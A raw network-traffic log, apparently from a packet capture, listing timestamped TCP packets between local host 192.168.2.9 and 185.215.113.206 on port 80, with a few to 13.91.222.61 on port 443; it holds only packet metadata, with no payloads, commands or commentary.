Nov 20, 2024 16:50:56.732409954 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.732484102 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.732527018 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.733270884 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.733316898 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.733458042 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.733517885 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.734365940 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.734378099 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.734426975 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.735265017 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.735279083 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.735311031 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.735342979 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.736360073 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.736443996 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.736496925 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.737076044 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.737118959 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.737287045 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.737325907 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.738010883 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.738154888 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.738179922 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.738195896 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.739023924 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.739036083 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.739070892 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.739097118 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.739856958 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.739902973 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.739995003 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.740041971 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.740762949 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.740801096 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.740956068 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.741039991 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.741837978 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.741883039 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.741986990 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.742023945 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.742613077 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.742680073 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.742788076 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.742893934 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.743489981 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.743566990 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.743726969 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.743767023 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.744579077 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.744612932 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.744925022 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.744968891 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.745546103 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.745558023 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.745569944 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.745583057 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.745594978 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.745596886 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.745605946 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.745620012 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.745631933 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.745639086 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.745656013 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.745682001 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.746215105 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.746256113 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.746362925 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.746459007 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.747163057 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.747216940 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.747246027 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.747284889 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.748076916 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.748136997 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.748173952 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.748256922 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.748986006 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.749057055 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.751857996 CET	443	49797	13.91.222.61	192.168.2.9
Nov 20, 2024 16:50:56.758018017 CET	49797	443	192.168.2.9	13.91.222.61
Nov 20, 2024 16:50:56.758049965 CET	443	49797	13.91.222.61	192.168.2.9
Nov 20, 2024 16:50:56.758604050 CET	443	49797	13.91.222.61	192.168.2.9
Nov 20, 2024 16:50:56.759159088 CET	49797	443	192.168.2.9	13.91.222.61
Nov 20, 2024 16:50:56.759232044 CET	443	49797	13.91.222.61	192.168.2.9
Nov 20, 2024 16:50:56.760549068 CET	49797	443	192.168.2.9	13.91.222.61
Nov 20, 2024 16:50:56.760577917 CET	49797	443	192.168.2.9	13.91.222.61
Nov 20, 2024 16:50:56.760584116 CET	443	49797	13.91.222.61	192.168.2.9
Nov 20, 2024 16:50:56.892875910 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.892968893 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.892985106 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.893033028 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.893229008 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.893291950 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.893388033 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.893407106 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.893426895 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.893440008 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.894329071 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.894396067 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.894427061 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.894530058 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.895232916 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.895287991 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.895375013 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.895478010 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.896220922 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.896271944 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.896325111 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.896537066 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.897167921 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.897250891 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.897277117 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.897366047 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.897970915 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.898015022 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.898053885 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.898257017 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.898894072 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.898940086 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.898988008 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.899029970 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.899821997 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.899930000 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.899976015 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.900760889 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.900815010 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.900896072 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.900947094 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.901801109 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.901854038 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.901905060 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.902622938 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.902672052 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.902744055 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.902796030 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.903587103 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.903654099 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.903723001 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.903765917 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.904412031 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.904474020 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.904534101 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.905509949 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.905575991 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.905577898 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.905742884 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.906280041 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.906331062 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.906373978 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.906420946 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.907201052 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.907365084 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.907377958 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.907409906 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.908142090 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.908201933 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.908282042 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.908451080 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.909080029 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.909132004 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.909241915 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.909297943 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.909981012 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.910053015 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.910137892 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.910181999 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.910878897 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.910932064 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.910974979 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.911176920 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.911792040 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.911847115 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.911884069 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.911963940 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.912699938 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.912776947 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.912966967 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.913021088 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.913594961 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.913642883 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.913697958 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.913744926 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.915014982 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.915067911 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.915105104 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.915133953 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.915494919 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.915679932 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.915747881 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.916465044 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.916600943 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.917069912 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.917326927 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.917398930 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.917399883 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.917453051 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.918313980 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.918378115 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.918389082 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.918435097 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.919182062 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.919231892 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.919281006 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.919327974 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.920097113 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.920156956 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.920160055 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.920243025 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.921159983 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.921237946 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.921380043 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.921453953 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.921933889 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.922074080 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.922123909 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.922930002 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.923012018 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.923039913 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.923089027 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.923811913 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.923866987 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.923893929 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.923938036 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.924787045 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.924850941 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.924974918 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.925111055 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.925587893 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.925638914 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.925708055 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.925759077 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.926510096 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.926580906 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.926650047 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.926693916 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.927489042 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.927556038 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.927629948 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.927680016 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.928375959 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.928431988 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.928452969 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.928529024 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.929244041 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.929356098 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.929397106 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.929445028 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.930188894 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.930247068 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.930248022 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.930396080 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.935034990 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.935097933 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.935723066 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.935806990 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.936496019 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.936553955 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.936554909 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.936600924 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.936604977 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.936640024 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.936654091 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.936676979 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.936697006 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.936714888 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.936723948 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.936940908 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.937730074 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.937787056 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.938191891 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.938282013 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.938889980 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.938946962 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.939027071 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.939084053 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.939730883 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.939912081 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.939996004 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.940052986 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.940713882 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.940752029 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.940784931 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.940799952 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.941529989 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.941587925 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.941673040 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.941720963 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.942192078 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.942256927 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.942549944 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.942606926 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.943382978 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.943444967 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:56.943532944 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:56.943604946 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.086937904 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.087018013 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.087038040 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.087075949 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.087215900 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.087229967 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.087287903 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.087625980 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.087677002 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.087805033 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.087851048 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.088303089 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.088315964 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.088363886 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.088788986 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.088802099 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.088843107 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.089952946 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.089966059 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.090038061 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.090864897 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.091017008 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.091079950 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.091805935 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.091870070 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.091960907 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.092014074 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.092672110 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.092811108 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.092850924 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.093805075 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.093817949 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.093862057 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.094568968 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.094582081 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.094619036 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.095622063 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.095634937 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.095689058 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.096381903 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.096395969 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.096446037 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:57.097043037 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:57.097054958 CET	80	49752	185.215.113.206	192.168.2.9
